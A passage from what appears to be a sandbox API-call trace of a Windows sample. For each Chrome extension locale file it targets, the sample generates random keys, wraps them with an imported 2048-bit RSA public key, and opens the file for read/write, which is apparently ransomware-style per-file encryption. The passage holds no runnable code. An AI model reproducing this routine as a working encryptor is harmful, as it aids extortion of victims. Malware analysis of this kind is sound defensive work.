szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.807] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.809] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.810] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.810] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.810] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.813] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.815] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.815] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.815] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.816] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.820] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659aaf8) returned 1 [0234.820] CryptGetKeyParam (in: hKey=0x659aaf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.820] CryptEncrypt (in: hKey=0x659aaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8720000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8720000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.820] GetLastError () returned 0x0 [0234.820] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.820] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.823] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ab78) returned 1 [0234.823] CryptGetKeyParam (in: hKey=0x659ab78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.823] CryptEncrypt (in: hKey=0x659ab78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8730000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8730000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.823] GetLastError () returned 0x0 [0234.823] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.823] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.825] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.829] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.831] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.831] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.831] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.832] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.835] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.837] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.837] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.838] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.838] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.841] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659af78) returned 1 [0234.841] CryptGetKeyParam (in: hKey=0x659af78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.841] CryptEncrypt (in: hKey=0x659af78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8740000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8740000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.842] GetLastError () returned 0x0 [0234.842] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.842] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0234.845] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ac38) returned 1 [0234.845] CryptGetKeyParam (in: hKey=0x659ac38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.845] CryptEncrypt (in: hKey=0x659ac38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8750000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8750000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.845] GetLastError () returned 0x0 [0234.846] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.846] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.847] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.850] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.853] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.853] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.853] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.853] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.856] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.859] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.859] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.859] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.859] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.862] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659acb8) returned 1 [0234.862] CryptGetKeyParam (in: hKey=0x659acb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.862] CryptEncrypt (in: hKey=0x659acb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8760000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8760000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.862] GetLastError () returned 0x0 [0234.862] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.863] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.865] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ad38) returned 1 [0234.865] CryptGetKeyParam (in: hKey=0x659ad38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.865] CryptEncrypt (in: hKey=0x659ad38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8770000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8770000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.866] GetLastError () returned 0x0 [0234.866] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.866] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.867] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.870] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.872] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.872] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.872] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.872] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.874] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.876] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.876] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.876] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.876] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.879] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ad78) returned 1 [0234.879] CryptGetKeyParam (in: hKey=0x659ad78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.879] CryptEncrypt (in: hKey=0x659ad78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8780000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8780000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.879] GetLastError () returned 0x0 [0234.879] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.879] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.882] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a8b8) returned 1 [0234.882] CryptGetKeyParam (in: hKey=0x659a8b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.882] CryptEncrypt (in: hKey=0x659a8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8790000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8790000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.883] GetLastError () returned 0x0 [0234.883] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.883] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.883] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.886] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.888] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.888] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.888] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.888] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0234.890] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.892] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.892] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.892] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.893] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.895] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659a878) returned 1 [0234.895] CryptGetKeyParam (in: hKey=0x659a878, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.896] CryptEncrypt (in: hKey=0x659a878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x87a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x87a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.896] GetLastError () returned 0x0 [0234.896] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.896] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.899] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659aef8) returned 1 [0234.899] CryptGetKeyParam (in: hKey=0x659aef8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.899] CryptEncrypt (in: hKey=0x659aef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x87b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x87b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.899] GetLastError () returned 0x0 [0234.899] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.899] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.902] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0234.905] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.907] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.907] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.907] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0234.907] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.910] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.911] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.912] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.912] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.912] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.915] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ae38) returned 1 [0234.915] CryptGetKeyParam (in: hKey=0x659ae38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.915] CryptEncrypt (in: hKey=0x659ae38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x87c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x87c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.915] GetLastError () returned 0x0 [0234.915] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.915] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0234.918] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659adb8) returned 1 [0234.918] CryptGetKeyParam (in: hKey=0x659adb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.918] CryptEncrypt (in: hKey=0x659adb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x87d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x87d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.918] GetLastError () returned 0x0 [0234.918] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.918] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.919] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.922] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.923] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.923] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.923] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.923] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.925] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.927] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.928] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0234.928] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.928] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.930] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659aeb8) returned 1 [0234.930] CryptGetKeyParam (in: hKey=0x659aeb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.930] CryptEncrypt (in: hKey=0x659aeb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x87e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x87e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0234.931] GetLastError () returned 0x0 [0234.931] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.931] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0234.933] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659aff8) returned 1 [0234.933] CryptGetKeyParam (in: hKey=0x659aff8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0234.933] CryptEncrypt (in: hKey=0x659aff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x87f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x87f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0234.933] GetLastError () returned 0x0 [0234.933] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0234.933] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0234.934] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.937] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.938] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0234.938] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0234.938] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0234.938] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0234.940] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0234.941] GetProcAddress 